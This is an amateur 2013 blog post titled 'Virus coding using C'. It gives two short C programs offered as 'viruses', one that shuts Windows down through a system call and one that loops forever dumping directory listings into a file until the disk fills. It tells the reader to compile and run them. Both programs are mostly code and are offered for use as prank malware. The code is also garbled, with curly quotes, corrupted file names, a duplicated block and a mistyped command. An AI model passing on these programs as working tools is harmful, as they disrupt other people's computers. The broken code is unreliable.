CyBeR TeCh
Friday, September 13, 2013
Monday, September 2, 2013
Virus coding using C
Shutdown the windows operating system
:: CODE ::
void main(void)
{
system(“shutdown-s”);
}
Let file name is shutd.c, now compile & execute the above program. Afterthat close the c compiler & open the directory in window you have saved the file (default directory C:\TC\BIN) & double click its exe file (shutd.exe). After some time your window will shutdown. :D
Jam computer hard disc
:: CODE ::
void main()
{
while(1)
{
system(“dir>>â.ša.exe”);
}
}
{
while(1)
{
system(“dir>>â.ša.exe”);
}
}
This program makes a self growing file which grow to few MB and continue infinitely.
How it works?-
The system call “dir>>â.ša.exe” will execute the dos command ‘dir’ and redirect its output to a file “â.ša.exe”.So running the program in a folder having many files and folders will increase the size of “â.ša.exe” in great amount.This process will continue infinitely as this is in while(1) loop.Remember to recover from this virus infection simply delete the file. :D
Subscribe to:
Comments (Atom)